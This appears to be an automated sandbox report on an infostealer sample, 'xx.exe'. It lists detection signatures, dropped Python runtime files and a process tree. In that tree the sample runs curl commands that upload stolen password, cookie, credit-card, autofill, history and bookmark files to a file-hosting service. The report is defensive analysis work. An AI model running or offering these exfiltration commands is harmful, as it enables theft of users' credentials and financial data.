Analysis

  • max time kernel
    106s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/06/2024, 11:42

General

  • Target
    xx.exe
  • Size 20.2MB
  • Sample240615-nvgrratalk
  • SHA256 c9ca69b4886464e1dc0a0879bf2843d1b4d44fb9c42b410459b50835c1dea8af
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Drops startup file 1 IoCs
  • Loads dropped DLL 47 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 25 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xx.exe
    "C:\Users\Admin\AppData\Local\Temp\xx.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4280
    • C:\Users\Admin\AppData\Local\Temp\xx.exe
      "C:\Users\Admin\AppData\Local\Temp\xx.exe"
      2⤵
      • Drops startup file
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "ver"
        3⤵
          PID:4992
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1696
          • C:\Windows\system32\tasklist.exe
            tasklist
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4864
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store8.gofile.io/uploadFile"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3316
          • C:\Windows\system32\curl.exe
            curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store8.gofile.io/uploadFile
            4⤵
              PID:2240
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store8.gofile.io/uploadFile"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4652
            • C:\Windows\system32\curl.exe
              curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store8.gofile.io/uploadFile
              4⤵
                PID:2216
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store8.gofile.io/uploadFile"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1152
              • C:\Windows\system32\curl.exe
                curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store8.gofile.io/uploadFile
                4⤵
                  PID:2576
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store8.gofile.io/uploadFile"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5036
                • C:\Windows\system32\curl.exe
                  curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store8.gofile.io/uploadFile
                  4⤵
                    PID:4556
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store8.gofile.io/uploadFile"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4496
                  • C:\Windows\system32\curl.exe
                    curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store8.gofile.io/uploadFile
                    4⤵
                      PID:2676
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store8.gofile.io/uploadFile"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1460
                    • C:\Windows\system32\curl.exe
                      curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store8.gofile.io/uploadFile
                      4⤵
                        PID:2584

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      _raw_cbc.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\Crypto\Cipher\_raw_cbc.pyd
                      • Size 12KB
                      • SHA256 11dd1b49f70db23617e84e08e709d4a9c86759d911a24ebddfb91c414cc7f375
                      • MD5 SHA1 SHA512 SSDEEP

                      _raw_ecb.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\Crypto\Cipher\_raw_ecb.pyd
                      • Size 10KB
                      • SHA256 3e0d07bbf93e0748b42b1c2550f48f0d81597486038c22548224584ae178a543
                      • MD5 SHA1 SHA512 SSDEEP

                      VCRUNTIME140.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\VCRUNTIME140.dll
                      • Size 106KB
                      • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
                      • MD5 SHA1 SHA512 SSDEEP

                      VCRUNTIME140_1.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\VCRUNTIME140_1.dll
                      • Size 48KB
                      • SHA256 e4b533a94e02c574780e4b333fcf0889f65ed00d39e32c0fbbda2116f185873f
                      • MD5 SHA1 SHA512 SSDEEP

                      _asyncio.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_asyncio.pyd
                      • Size 63KB
                      • SHA256 6306be660d87ffb2271dd5d783ee32e735a792556e0b5bd672dc0b1c206fdadc
                      • MD5 SHA1 SHA512 SSDEEP

                      _bz2.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_bz2.pyd
                      • Size 82KB
                      • SHA256 403e76fe18515a5ea3227cf5f919aa2f32ac3233853c9fb71627f2251c554d09
                      • MD5 SHA1 SHA512 SSDEEP

                      _cffi_backend.cp311-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_cffi_backend.cp311-win_amd64.pyd
                      • Size 177KB
                      • SHA256 59767b0918859beddf28a7d66a50431411ffd940c32b3e8347e6d938b60facdf
                      • MD5 SHA1 SHA512 SSDEEP

                      _ctypes.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_ctypes.pyd
                      • Size 120KB
                      • SHA256 e28d4e46e5d10b5fdcf0292f91e8fd767e33473116247cd5d577e4554d7a4c0c
                      • MD5 SHA1 SHA512 SSDEEP

                      _decimal.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_decimal.pyd
                      • Size 247KB
                      • SHA256 6cd52b65e11839f417b212ba5a39f182b0151a711ebc7629dc260b532391db72
                      • MD5 SHA1 SHA512 SSDEEP

                      _hashlib.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_hashlib.pyd
                      • Size 63KB
                      • SHA256 21d59958e2ad1b944c4811a71e88de08c05c5ca07945192ab93da5065fac8926
                      • MD5 SHA1 SHA512 SSDEEP

                      _lzma.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_lzma.pyd
                      • Size 155KB
                      • SHA256 ad0440ca6998e18f5cc917d088af3fea2c0ff0febce2b5e2b6c0f1370f6e87b1
                      • MD5 SHA1 SHA512 SSDEEP

                      _multiprocessing.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_multiprocessing.pyd
                      • Size 33KB
                      • SHA256 edfa9ee414f41448f8ffabb79f3bb8db5c25e1cfd28facf88eb5fe2d1e1d7551
                      • MD5 SHA1 SHA512 SSDEEP

                      _overlapped.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_overlapped.pyd
                      • Size 49KB
                      • SHA256 ce48969ebebdc620f4313eba2a6b6cda568b663c09d5478fa93826d401abe674
                      • MD5 SHA1 SHA512 SSDEEP

                      _queue.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_queue.pyd
                      • Size 31KB
                      • SHA256 06c36ec0749d041e6957c3cd7d2d510628b6abe28cee8c9728412d9ce196a8a2
                      • MD5 SHA1 SHA512 SSDEEP

                      _socket.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_socket.pyd
                      • Size 77KB
                      • SHA256 301c47c4016dac27811f04f4d7232f24852ef7675e9a4500f0601703ed8f06af
                      • MD5 SHA1 SHA512 SSDEEP

                      _sqlite3.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_sqlite3.pyd
                      • Size 117KB
                      • SHA256 55344349f9199aedad1737a0311cbe2c3a4bf9494b76982520bacad90f463c1b
                      • MD5 SHA1 SHA512 SSDEEP

                      _ssl.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_ssl.pyd
                      • Size 172KB
                      • SHA256 4727b60962efacfd742dca21341a884160cf9fcf499b9afa3d9fdbcc93fb75d0
                      • MD5 SHA1 SHA512 SSDEEP

                      _uuid.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\_uuid.pyd
                      • Size 24KB
                      • SHA256 fc09e40e569f472dd4ba2ea93da48220a6b0387ec62bb0f41f13ef8fab215413
                      • MD5 SHA1 SHA512 SSDEEP

                      base_library.zip

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\base_library.zip
                      • Size 1.4MB
                      • SHA256 ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d
                      • MD5 SHA1 SHA512 SSDEEP

                      cacert.pem

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\certifi\cacert.pem
                      • Size 287KB
                      • SHA256 1605d0d39c5e25d67e7838da6a17dcf2e8c6cfa79030e8fb0318e35f5495493c
                      • MD5 SHA1 SHA512 SSDEEP

                      md.cp311-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\charset_normalizer\md.cp311-win_amd64.pyd
                      • Size 10KB
                      • SHA256 790a11aa270523c2efa6021ce4f994c3c5a67e8eaaaf02074d5308420b68bd94
                      • MD5 SHA1 SHA512 SSDEEP

                      md__mypyc.cp311-win_amd64.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\charset_normalizer\md__mypyc.cp311-win_amd64.pyd
                      • Size 116KB
                      • SHA256 3d9893aa79efd13d81fcd614e9ef5fb6aad90569beeded5112de5ed5ac3cf753
                      • MD5 SHA1 SHA512 SSDEEP

                      libcrypto-3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\libcrypto-3.dll
                      • Size 4.9MB
                      • SHA256 2a234b5aa20c3faecf725bbb54fb33f3d94543f78fa7045408e905593e49960a
                      • MD5 SHA1 SHA512 SSDEEP

                      libffi-8.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\libffi-8.dll
                      • Size 38KB
                      • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                      • MD5 SHA1 SHA512 SSDEEP

                      libssl-3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\libssl-3.dll
                      • Size 771KB
                      • SHA256 41ad1a04ca27a7959579e87fbbda87c93099616a64a0e66260c983381c5570d1
                      • MD5 SHA1 SHA512 SSDEEP

                      pyexpat.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\pyexpat.pyd
                      • Size 194KB
                      • SHA256 5604f629523125904909547a97f3cdb5dbfe33b39878bad77534de0c3c034387
                      • MD5 SHA1 SHA512 SSDEEP

                      python3.DLL

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\python3.DLL
                      • Size 65KB
                      • SHA256 e45452efa356db874f2e5ff08c9cc0fe22528609e5d341f8fb67ba48885ab77d
                      • MD5 SHA1 SHA512 SSDEEP

                      python311.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\python311.dll
                      • Size 5.5MB
                      • SHA256 53a969094231b9032abe4148939ce08a3a4e4b30b0459fc7d90c89f65e8dcd4a
                      • MD5 SHA1 SHA512 SSDEEP

                      pythoncom311.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\pywin32_system32\pythoncom311.dll
                      • Size 654KB
                      • SHA256 0fe49ec1143a0efe168809c9d48fe3e857e2ac39b19db3fd8718c56a4056696b
                      • MD5 SHA1 SHA512 SSDEEP

                      pywintypes311.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\pywin32_system32\pywintypes311.dll
                      • Size 131KB
                      • SHA256 89f2a5c6be1e70b3d895318fdd618506b8c0e9a63b6a1a4055dff4abdc89f18a
                      • MD5 SHA1 SHA512 SSDEEP

                      select.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\select.pyd
                      • Size 29KB
                      • SHA256 8a9a103bc417dede9f6946d9033487c410937e1761d93c358c1600b82f0a711f
                      • MD5 SHA1 SHA512 SSDEEP

                      sqlite3.dll

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\sqlite3.dll
                      • Size 1.4MB
                      • SHA256 5ac6ee18cdca84c078b66055f5e9ffc6f8502e22eaf0fa54aeec92b75a3c463e
                      • MD5 SHA1 SHA512 SSDEEP

                      unicodedata.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\unicodedata.pyd
                      • Size 1.1MB
                      • SHA256 1a965c1904da88989468852fdc749b520cce46617b9190163c8df19345b59560
                      • MD5 SHA1 SHA512 SSDEEP

                      win32api.pyd

                      • Path C:\Users\Admin\AppData\Local\Temp\_MEI42802\win32\win32api.pyd
                      • Size 130KB
                      • SHA256 fae5323e2119a8f678055f4244177b5806c7b6b171b1945168f685631b913664
                      • MD5 SHA1 SHA512 SSDEEP

                      Tempcrdyeutvcl.db

                      • Path C:\Users\Admin\AppData\Local\Tempcrdyeutvcl.db
                      • Size 100KB
                      • SHA256 4c4106c875351ad7bb2a2dc4606a7e6acc00b2d40c8af9da4f1b67136f4b3411
                      • MD5 SHA1 SHA512 SSDEEP

                      Tempcrgqtxrhee.db

                      • Path C:\Users\Admin\AppData\Local\Tempcrgqtxrhee.db
                      • Size 116KB
                      • SHA256 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
                      • MD5 SHA1 SHA512 SSDEEP